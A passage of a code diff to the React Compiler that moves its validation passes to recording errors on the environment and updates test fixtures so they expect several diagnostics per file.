 import {getOrInsertDefault} from '../Utils/utils';
 
 /**
@@ -47,15 +47,12 @@ import {getOrInsertDefault} from '../Utils/utils';
  * This can occur if a value's mutable range somehow extended to include a hook and
  * was pruned.
  */
-export function validatePreservedManualMemoization(
-  fn: ReactiveFunction,
-): Result<void, CompilerError> {
+export function validatePreservedManualMemoization(fn: ReactiveFunction): void {
   const state = {
-    errors: new CompilerError(),
+    env: fn.env,
     manualMemoState: null,
   };
   visitReactiveFunction(fn, new Visitor(), state);
-  return state.errors.asResult();
 }
 
 const DEBUG = false;
@@ -113,7 +110,7 @@ type ManualMemoBlockState = {
 };
 
 type VisitorState = {
-  errors: CompilerError;
+  env: Environment;
   manualMemoState: ManualMemoBlockState | null;
 };
 
@@ -233,7 +230,7 @@ function validateInferredDep(
   temporaries: Map<IdentifierId, ManualMemoDependency>,
   declsWithinMemoBlock: Set<DeclarationId>,
   validDepsInMemoBlock: Array<ManualMemoDependency>,
-  errorState: CompilerError,
+  env: Environment,
   memoLocation: SourceLocation,
 ): void {
   let normalizedDep: ManualMemoDependency;
@@ -283,7 +280,7 @@ function validateInferredDep(
       errorDiagnostic = merge(errorDiagnostic ?? compareResult, compareResult);
     }
   }
-  errorState.pushDiagnostic(
+  env.recordError(
     CompilerDiagnostic.create({
       category: ErrorCategory.PreserveManualMemo,
       reason: 'Existing memoization could not be preserved',
@@ -429,7 +426,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
           this.temporaries,
           state.manualMemoState.decls,
           state.manualMemoState.depsFromSource,
-          state.errors,
+          state.env,
           state.manualMemoState.loc,
         );
       }
@@ -489,16 +486,25 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
       ids.add(value.place.identifier);
     }
     if (value.kind === 'StartMemoize') {
-      let depsFromSource: Array<ManualMemoDependency> | null = null;
-      if (value.deps != null) {
-        depsFromSource = value.deps;
-      }
       CompilerError.invariant(state.manualMemoState == null, {
         reason: 'Unexpected nested StartMemoize instructions',
         description: `Bad manual memoization ids: ${state.manualMemoState?.manualMemoId}, ${value.manualMemoId}`,
         loc: value.loc,
       });
 
+      if (value.hasInvalidDeps === true) {
+        /*
+         * ValidateExhaustiveDependencies already reported an error for this
+         * memo block, skip validation to avoid duplicate errors
+         */
+        return;
+      }
+
+      let depsFromSource: Array<ManualMemoDependency> | null = null;
+      if (value.deps != null) {
+        depsFromSource = value.deps;
+      }
+
       state.manualMemoState = {
         loc: instruction.loc,
         decls: new Set(),
@@ -532,7 +538,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
           !this.scopes.has(identifier.scope.id) &&
           !this.prunedScopes.has(identifier.scope.id)
         ) {
-          state.errors.pushDiagnostic(
+          state.env.recordError(
             CompilerDiagnostic.create({
               category: ErrorCategory.PreserveManualMemo,
               reason: 'Existing memoization could not be preserved',
@@ -550,12 +556,15 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
       }
     }
     if (value.kind === 'FinishMemoize') {
+      if (state.manualMemoState == null) {
+        // StartMemoize had invalid deps, skip validation
+        return;
+      }
       CompilerError.invariant(
-        state.manualMemoState != null &&
-          state.manualMemoState.manualMemoId === value.manualMemoId,
+        state.manualMemoState.manualMemoId === value.manualMemoId,
         {
           reason: 'Unexpected mismatch between StartMemoize and FinishMemoize',
-          description: `Encountered StartMemoize id=${state.manualMemoState?.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
+          description: `Encountered StartMemoize id=${state.manualMemoState.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
           loc: value.loc,
         },
       );
@@ -578,7 +587,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
 
           for (const identifier of decls) {
             if (isUnmemoized(identifier, this.scopes)) {
-              state.errors.pushDiagnostic(
+              state.env.recordError(
                 CompilerDiagnostic.create({
                   category: ErrorCategory.PreserveManualMemo,
                   reason: 'Existing memoization could not be preserved',

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateSourceLocations.ts

@@ -7,9 +7,9 @@
 
 import {NodePath} from '@babel/traverse';
 import * as t from '@babel/types';
-import {CompilerDiagnostic, CompilerError, ErrorCategory} from '..';
+import {CompilerDiagnostic, ErrorCategory} from '..';
 import {CodegenFunction} from '../ReactiveScopes';
-import {Result} from '../Utils/Result';
+import {Environment} from '../HIR/Environment';
 
 /**
  * IMPORTANT: This validation is only intended for use in unit tests.
@@ -123,9 +123,8 @@ export function validateSourceLocations(
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
   >,
   generatedAst: CodegenFunction,
-): Result<void, CompilerError> {
-  const errors = new CompilerError();
-
+  env: Environment,
+): void {
   /*
    * Step 1: Collect important locations from the original source
    * Note: Multiple node types can share the same location (e.g. VariableDeclarator and Identifier)
@@ -240,7 +239,7 @@ export function validateSourceLocations(
     loc: t.SourceLocation,
     nodeType: string,
   ): void => {
-    errors.pushDiagnostic(
+    env.recordError(
       CompilerDiagnostic.create({
         category: ErrorCategory.Todo,
         reason: 'Important source location missing in generated code',
@@ -260,7 +259,7 @@ export function validateSourceLocations(
     expectedType: string,
     actualTypes: Set<string>,
   ): void => {
-    errors.pushDiagnostic(
+    env.recordError(
       CompilerDiagnostic.create({
         category: ErrorCategory.Todo,
         reason:
@@ -308,6 +307,4 @@ export function validateSourceLocations(
       }
     }
   }
-
-  return errors.asResult();
 }

compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateUseMemo.ts

@@ -16,14 +16,13 @@ import {
   IdentifierId,
   SourceLocation,
 } from '../HIR';
+import {Environment} from '../HIR/Environment';
 import {
   eachInstructionValueOperand,
   eachTerminalOperand,
 } from '../HIR/visitors';
-import {Result} from '../Utils/Result';
 
-export function validateUseMemo(fn: HIRFunction): Result<void, CompilerError> {
-  const errors = new CompilerError();
+export function validateUseMemo(fn: HIRFunction): void {
   const voidMemoErrors = new CompilerError();
   const useMemos = new Set<IdentifierId>();
   const react = new Set<IdentifierId>();
@@ -91,7 +90,7 @@ export function validateUseMemo(fn: HIRFunction): Result<void, CompilerError> {
               firstParam.kind === 'Identifier'
                 ? firstParam.loc
                 : firstParam.place.loc;
-            errors.pushDiagnostic(
+            fn.env.recordError(
               CompilerDiagnostic.create({
                 category: ErrorCategory.UseMemo,
                 reason: 'useMemo() callbacks may not accept parameters',
@@ -107,7 +106,7 @@ export function validateUseMemo(fn: HIRFunction): Result<void, CompilerError> {
           }
 
           if (body.loweredFunc.func.async || body.loweredFunc.func.generator) {
-            errors.pushDiagnostic(
+            fn.env.recordError(
               CompilerDiagnostic.create({
                 category: ErrorCategory.UseMemo,
                 reason:
@@ -123,7 +122,7 @@ export function validateUseMemo(fn: HIRFunction): Result<void, CompilerError> {
             );
           }
 
-          validateNoContextVariableAssignment(body.loweredFunc.func, errors);
+          validateNoContextVariableAssignment(body.loweredFunc.func, fn.env);
 
           if (fn.env.config.validateNoVoidUseMemo) {
             if (!hasNonVoidReturn(body.loweredFunc.func)) {
@@ -177,12 +176,11 @@ export function validateUseMemo(fn: HIRFunction): Result<void, CompilerError> {
     }
   }
   fn.env.logErrors(voidMemoErrors.asResult());
-  return errors.asResult();
 }
 
 function validateNoContextVariableAssignment(
   fn: HIRFunction,
-  errors: CompilerError,
+  env: Environment,
 ): void {
   const context = new Set(fn.context.map(place => place.identifier.id));
   for (const block of fn.body.blocks.values()) {
@@ -191,7 +189,7 @@ function validateNoContextVariableAssignment(
       switch (value.kind) {
         case 'StoreContext': {
           if (context.has(value.lvalue.place.identifier.id)) {
-            errors.pushDiagnostic(
+            env.recordError(
               CompilerDiagnostic.create({
                 category: ErrorCategory.UseMemo,
                 reason:

compiler/packages/babel-plugin-react-compiler/src/__tests__/Logger-test.ts

@@ -10,7 +10,7 @@ import invariant from 'invariant';
 import {runBabelPluginReactCompiler} from '../Babel/RunReactCompilerBabelPlugin';
 import type {Logger, LoggerEvent} from '../Entrypoint';
 
-it('logs succesful compilation', () => {
+it('logs successful compilation', () => {
   const logs: [string | null, LoggerEvent][] = [];
   const logger: Logger = {
     logEvent(filename, event) {

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ecma/error.reserved-words.expect.md

@@ -24,18 +24,9 @@ function useThing(fn) {
 ```
 Found 1 error:
 
-Compilation Skipped: `this` is not supported syntax
+Error: Expected a non-reserved identifier name
 
-React Compiler does not support compiling functions that use `this`.
-
-error.reserved-words.ts:8:28
-   6 |
-   7 |   if (ref.current === null) {
->  8 |     ref.current = function (this: unknown, ...args) {
-     |                             ^^^^^^^^^^^^^ `this` was used here
-   9 |       return fnRef.current.call(this, ...args);
-  10 |     };
-  11 |   }
+`this` is a reserved word in JavaScript and cannot be used as an identifier name.
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.expect.md

@@ -17,16 +17,17 @@ function Component(props) {
 ```
 Found 1 error:
 
-Todo: (BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
 
-error._todo.computed-lval-in-destructure.ts:3:9
-  1 | function Component(props) {
-  2 |   const computedKey = props.key;
-> 3 |   const {[computedKey]: x} = props.val;
-    |          ^^^^^^^^^^^^^^^^ (BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern
+<unknown> x$8.
+
+error._todo.computed-lval-in-destructure.ts:5:9
+  3 |   const {[computedKey]: x} = props.val;
   4 |
-  5 |   return x;
+> 5 |   return x;
+    |          ^ this is uninitialized
   6 | }
+  7 |
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.expect.md

@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+/**
+ * This fixture tests fault tolerance: the compiler should report
+ * multiple independent errors rather than stopping at the first one.
+ *
+ * Error 1: Ref access during render (ref.current)
+ * Error 2: Mutation of frozen value (props)
+ */
+function Component(props) {
+  const ref = useRef(null);
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  // Error: mutating frozen value (props, which is frozen after hook call)
+  props.items = [];
+
+  return <div>{value}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.fault-tolerance-reports-multiple-errors.ts:16:2
+  14 |
+  15 |   // Error: mutating frozen value (props, which is frozen after hook call)
+> 16 |   props.items = [];
+     |   ^^^^^ value cannot be modified
+  17 |
+  18 |   return <div>{value}</div>;
+  19 | }
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.fault-tolerance-reports-multiple-errors.ts:13:16
+  11 |
+  12 |   // Error: reading ref during render
+> 13 |   const value = ref.current;
+     |                 ^^^^^^^^^^^ Cannot access ref value during render
+  14 |
+  15 |   // Error: mutating frozen value (props, which is frozen after hook call)
+  16 |   props.items = [];
+```
+          
+      

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.js

@@ -0,0 +1,19 @@
+// @validateRefAccessDuringRender
+/**
+ * This fixture tests fault tolerance: the compiler should report
+ * multiple independent errors rather than stopping at the first one.
+ *
+ * Error 1: Ref access during render (ref.current)
+ * Error 2: Mutation of frozen value (props)
+ */
+function Component(props) {
+  const ref = useRef(null);
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  // Error: mutating frozen value (props, which is frozen after hook call)
+  props.items = [];
+
+  return <div>{value}</div>;
+}

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.expect.md

@@ -29,7 +29,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: This value cannot be modified
 
@@ -43,6 +43,32 @@ error.hook-call-freezes-captured-memberexpr.ts:13:2
   14 |   return <Stringify x={x} cb={cb} />;
   15 | }
   16 |
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `x` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.hook-call-freezes-captured-memberexpr.ts:9:25
+   7 |    * After this custom hook call, it's no longer valid to mutate x.
+   8 |    */
+>  9 |   const cb = useIdentity(() => {
+     |                          ^^^^^^^
+> 10 |     x.value++;
+     | ^^^^^^^^^^^^^^
+> 11 |   });
+     | ^^^^ This function may (indirectly) reassign or modify `x` after render
+  12 |
+  13 |   x.value += count;
+  14 |   return <Stringify x={x} cb={cb} />;
+
+error.hook-call-freezes-captured-memberexpr.ts:10:4
+   8 |    */
+   9 |   const cb = useIdentity(() => {
+> 10 |     x.value++;
+     |     ^ This modifies `x`
+  11 |   });
+  12 |
+  13 |   x.value += count;
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ReactUseMemo-async-callback.expect.md

@@ -15,7 +15,7 @@ function component(a, b) {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: useMemo() callbacks may not be async or generator functions
 
@@ -32,6 +32,21 @@ error.invalid-ReactUseMemo-async-callback.ts:2:24
   5 |   return x;
   6 | }
   7 |
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-ReactUseMemo-async-callback.ts:3:10
+  1 | function component(a, b) {
+  2 |   let x = React.useMemo(async () => {
+> 3 |     await a;
+    |           ^ Missing dependency `a`
+  4 |   }, []);
+  5 |   return x;
+  6 | }
+
+Inferred dependencies: `[a]`
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.expect.md

@@ -22,7 +22,7 @@ function Component({item, cond}) {
 ## Error
 
 ```
-Found 2 errors:
+Found 3 errors:
 
 Error: Calling setState from useMemo may trigger an infinite loop
 
@@ -49,6 +49,39 @@ error.invalid-conditional-setState-in-useMemo.ts:8:6
    9 |     }
   10 |   }, [cond, key, init]);
   11 |
+
+Error: Found missing/extra memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-conditional-setState-in-useMemo.ts:7:18
+   5 |   useMemo(() => {
+   6 |     if (cond) {
+>  7 |       setPrevItem(item);
+     |                   ^^^^ Missing dependency `item`
+   8 |       setState(0);
+   9 |     }
+  10 |   }, [cond, key, init]);
+
+error.invalid-conditional-setState-in-useMemo.ts:10:12
+   8 |       setState(0);
+   9 |     }
+> 10 |   }, [cond, key, init]);
+     |             ^^^ Unnecessary dependency `key`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change
+  11 |
+  12 |   return state;
+  13 | }
+
+error.invalid-conditional-setState-in-useMemo.ts:10:17
+   8 |       setState(0);
+   9 |     }
+> 10 |   }, [cond, key, init]);
+     |                  ^^^^ Unnecessary dependency `init`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change
+  11 |
+  12 |   return state;
+  13 | }
+
+Inferred dependencies: `[cond, item]`
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.expect.md

@@ -16,7 +16,7 @@ function useInvalidMutation(options) {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: This value cannot be modified
 
@@ -30,6 +30,27 @@ error.invalid-mutation-in-closure.ts:4:4
   5 |   }
   6 |   return test;
   7 | }
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `options` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-mutation-in-closure.ts:6:9
+  4 |     options.foo = 'bar';
+  5 |   }
+> 6 |   return test;
+    |          ^^^^ This function may (indirectly) reassign or modify `options` after render
+  7 | }
+  8 |
+
+error.invalid-mutation-in-closure.ts:4:4
+  2 |   function test() {
+  3 |     foo(options.foo); // error should not point on this line
+> 4 |     options.foo = 'bar';
+    |     ^^^^^^^ This modifies `options`
+  5 |   }
+  6 |   return test;
+  7 | }
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.expect.md

@@ -15,7 +15,7 @@ function useFoo() {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: Cannot reassign variable after render completes
 
@@ -29,6 +29,31 @@ error.invalid-reassign-local-in-hook-return-value.ts:4:4
   5 |   };
   6 | }
   7 |
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `x` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-in-hook-return-value.ts:3:9
+  1 | function useFoo() {
+  2 |   let x = 0;
+> 3 |   return value => {
+    |          ^^^^^^^^^^
+> 4 |     x = value;
+    | ^^^^^^^^^^^^^^
+> 5 |   };
+    | ^^^^ This function may (indirectly) reassign or modify `x` after render
+  6 | }
+  7 |
+
+error.invalid-reassign-local-in-hook-return-value.ts:4:4
+  2 |   let x = 0;
+  3 |   return value => {
+> 4 |     x = value;
+    |     ^ This modifies `x`
+  5 |   };
+  6 | }
+  7 |
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.expect.md

@@ -47,7 +47,7 @@ function Component() {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: Cannot reassign variable after render completes
 
@@ -61,6 +61,32 @@ error.invalid-reassign-local-variable-in-effect.ts:7:4
    8 |   };
    9 |
   10 |   const onMount = newValue => {
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-effect.ts:33:12
+  31 |   };
+  32 |
+> 33 |   useEffect(() => {
+     |             ^^^^^^^
+> 34 |     onMount();
+     | ^^^^^^^^^^^^^^
+> 35 |   }, [onMount]);
+     | ^^^^ This function may (indirectly) reassign or modify `local` after render
+  36 |
+  37 |   return 'ok';
+  38 | }
+
+error.invalid-reassign-local-variable-in-effect.ts:7:4
+   5 |
+   6 |   const reassignLocal = newValue => {
+>  7 |     local = newValue;
+     |     ^^^^^ This modifies `local`
+   8 |   };
+   9 |
+  10 |   const onMount = newValue => {
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.expect.md

@@ -48,7 +48,7 @@ function Component() {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: Cannot reassign variable after render completes
 
@@ -62,6 +62,32 @@ error.invalid-reassign-local-variable-in-hook-argument.ts:8:4
    9 |   };
   10 |
   11 |   const callback = newValue => {
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-hook-argument.ts:34:14
+  32 |   };
+  33 |
+> 34 |   useIdentity(() => {
+     |               ^^^^^^^
+> 35 |     callback();
+     | ^^^^^^^^^^^^^^^
+> 36 |   });
+     | ^^^^ This function may (indirectly) reassign or modify `local` after render
+  37 |
+  38 |   return 'ok';
+  39 | }
+
+error.invalid-reassign-local-variable-in-hook-argument.ts:8:4
+   6 |
+   7 |   const reassignLocal = newValue => {
+>  8 |     local = newValue;
+     |     ^^^^^ This modifies `local`
+   9 |   };
+  10 |
+  11 |   const callback = newValue => {
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.expect.md

@@ -41,7 +41,7 @@ function Component() {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: Cannot reassign variable after render completes
 
@@ -55,6 +55,27 @@ error.invalid-reassign-local-variable-in-jsx-callback.ts:5:4
   6 |   };
   7 |
   8 |   const onClick = newValue => {
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:31:26
+  29 |   };
+  30 |
+> 31 |   return <button onClick={onClick}>Submit</button>;
+     |                           ^^^^^^^ This function may (indirectly) reassign or modify `local` after render
+  32 | }
+  33 |
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:5:4
+  3 |
+  4 |   const reassignLocal = newValue => {
+> 5 |     local = newValue;
+    |     ^^^^^ This modifies `local`
+  6 |   };
+  7 |
+  8 |   const onClick = newValue => {
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.expect.md

@@ -26,7 +26,7 @@ function useKeyedState({key, init}) {
 ## Error
 
 ```
-Found 1 error:
+Found 3 errors:
 
 Error: Calling setState from useMemo may trigger an infinite loop
 
@@ -40,6 +40,61 @@ error.invalid-setState-in-useMemo-indirect-useCallback.ts:13:4
   14 |   }, [key, init]);
   15 |
   16 |   return state;
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:9:13
+   7 |   const fn = useCallback(() => {
+   8 |     setPrevKey(key);
+>  9 |     setState(init);
+     |              ^^^^ Missing dependency `init`
+  10 |   });
+  11 |
+  12 |   useMemo(() => {
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:8:15
+   6 |
+   7 |   const fn = useCallback(() => {
+>  8 |     setPrevKey(key);
+     |                ^^^ Missing dependency `key`
+   9 |     setState(init);
+  10 |   });
+  11 |
+
+Error: Found missing/extra memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:13:4
+  11 |
+  12 |   useMemo(() => {
+> 13 |     fn();
+     |     ^^ Missing dependency `fn`
+  14 |   }, [key, init]);
+  15 |
+  16 |   return state;
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:14:6
+  12 |   useMemo(() => {
+  13 |     fn();
+> 14 |   }, [key, init]);
+     |       ^^^ Unnecessary dependency `key`
+  15 |
+  16 |   return state;
+  17 | }
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:14:11
+  12 |   useMemo(() => {
+  13 |     fn();
+> 14 |   }, [key, init]);
+     |            ^^^^ Unnecessary dependency `init`
+  15 |
+  16 |   return state;
+  17 | }
+
+Inferred dependencies: `[fn]`
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-async-callback.expect.md

@@ -15,7 +15,7 @@ function component(a, b) {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: useMemo() callbacks may not be async or generator functions
 
@@ -32,6 +32,21 @@ error.invalid-useMemo-async-callback.ts:2:18
   5 |   return x;
   6 | }
   7 |
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-useMemo-async-callback.ts:3:10
+  1 | function component(a, b) {
+  2 |   let x = useMemo(async () => {
+> 3 |     await a;
+    |           ^ Missing dependency `a`
+  4 |   }, []);
+  5 |   return x;
+  6 | }
+
+Inferred dependencies: `[a]`
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.expect.md

@@ -13,7 +13,7 @@ function component(a, b) {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: useMemo() callbacks may not accept parameters
 
@@ -26,6 +26,20 @@ error.invalid-useMemo-callback-args.ts:2:18
   3 |   return x;
   4 | }
   5 |
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-useMemo-callback-args.ts:2:23
+  1 | function component(a, b) {
+> 2 |   let x = useMemo(c => a, []);
+    |                        ^ Missing dependency `a`
+  3 |   return x;
+  4 | }
+  5 |
+
+Inferred dependencies: `[a]`
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutable-range-shared-inner-outer-function.expect.md

@@ -32,7 +32,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: Cannot reassign variable after render completes
 
@@ -46,6 +46,28 @@ error.mutable-range-shared-inner-outer-function.ts:8:6
    9 |       b = [];
   10 |     } else {
   11 |       a = {};
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `a` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.mutable-range-shared-inner-outer-function.ts:17:23
+  15 |     b.push(false);
+  16 |   };
+> 17 |   return <div onClick={f} />;
+     |                        ^ This function may (indirectly) reassign or modify `a` after render
+  18 | }
+  19 |
+  20 | export const FIXTURE_ENTRYPOINT = {
+
+error.mutable-range-shared-inner-outer-function.ts:8:6
+   6 |   const f = () => {
+   7 |     if (cond) {
+>  8 |       a = {};
+     |       ^ This modifies `a`
+   9 |       b = [];
+  10 |     } else {
+  11 |       a = {};
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-allow-assigning-to-inferred-ref-prop-in-callback.expect.md

@@ -29,7 +29,7 @@ function useHook(parentRef) {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: This value cannot be modified
 
@@ -43,6 +43,27 @@ error.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:15:8
   16 |       }
   17 |     }
   18 |   };
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `parentRef` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:19:9
+  17 |     }
+  18 |   };
+> 19 |   return handler;
+     |          ^^^^^^^ This function may (indirectly) reassign or modify `parentRef` after render
+  20 | }
+  21 |
+
+error.todo-allow-assigning-to-inferred-ref-prop-in-callback.ts:15:8
+  13 |       } else {
+  14 |         // So this assignment fails since we don't know its a ref
+> 15 |         parentRef.current = instance;
+     |         ^^^^^^^^^ This modifies `parentRef`
+  16 |       }
+  17 |     }
+  18 |   };
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-function-expression-references-later-variable-declaration.expect.md

@@ -17,7 +17,7 @@ function Component() {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: Cannot reassign variable after render completes
 
@@ -31,6 +31,27 @@ error.todo-function-expression-references-later-variable-declaration.ts:3:4
   4 |   };
   5 |   let onClick;
   6 |
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `onClick` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.todo-function-expression-references-later-variable-declaration.ts:7:23
+  5 |   let onClick;
+  6 |
+> 7 |   return <div onClick={callback} />;
+    |                        ^^^^^^^^ This function may (indirectly) reassign or modify `onClick` after render
+  8 | }
+  9 |
+
+error.todo-function-expression-references-later-variable-declaration.ts:3:4
+  1 | function Component() {
+  2 |   let callback = () => {
+> 3 |     onClick = () => {};
+    |     ^^^^^^^ This modifies `onClick`
+  4 |   };
+  5 |   let onClick;
+  6 |
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.expect.md

@@ -18,15 +18,18 @@ function Component() {
 ```
 Found 1 error:
 
-Todo: Support functions with unreachable code that may contain hoisted declarations
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
 
-error.todo-hoisted-function-in-unreachable-code.ts:6:2
+<unknown> Foo$0.
+
+error.todo-hoisted-function-in-unreachable-code.ts:3:10
+  1 | // @compilationMode:"infer"
+  2 | function Component() {
+> 3 |   return <Foo />;
+    |           ^^^ this is uninitialized
   4 |
   5 |   // This is unreachable from a control-flow perspective, but it gets hoisted
-> 6 |   function Foo() {}
-    |   ^^^^^^^^^^^^^^^^^ Support functions with unreachable code that may contain hoisted declarations
-  7 | }
-  8 |
+  6 |   function Foo() {}
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.expect.md

@@ -79,43 +79,11 @@ let moduleLocal = false;
 ## Error
 
 ```
-Found 10 errors:
+Found 1 error:
 
-Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+Invariant: Expected a variable declaration
 
-error.todo-kitchensink.ts:3:2
-  1 | function foo([a, b], {c, d, e = 'e'}, f = 'f', ...args) {
-  2 |   let i = 0;
-> 3 |   var x = [];
-    |   ^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
-  4 |
-  5 |   class Bar {
-  6 |     #secretSauce = 42;
-
-Compilation Skipped: Inline `class` declarations are not supported
-
-Move class declarations outside of components/hooks.
-
-error.todo-kitchensink.ts:5:2
-   3 |   var x = [];
-   4 |
->  5 |   class Bar {
-     |   ^^^^^^^^^^^
->  6 |     #secretSauce = 42;
-     | ^^^^^^^^^^^^^^^^^^^^^^
->  7 |     constructor() {
-     | ^^^^^^^^^^^^^^^^^^^^^^
->  8 |       console.log(this.#secretSauce);
-     | ^^^^^^^^^^^^^^^^^^^^^^
->  9 |     }
-     | ^^^^^^^^^^^^^^^^^^^^^^
-> 10 |   }
-     | ^^^^ Inline `class` declarations are not supported
-  11 |
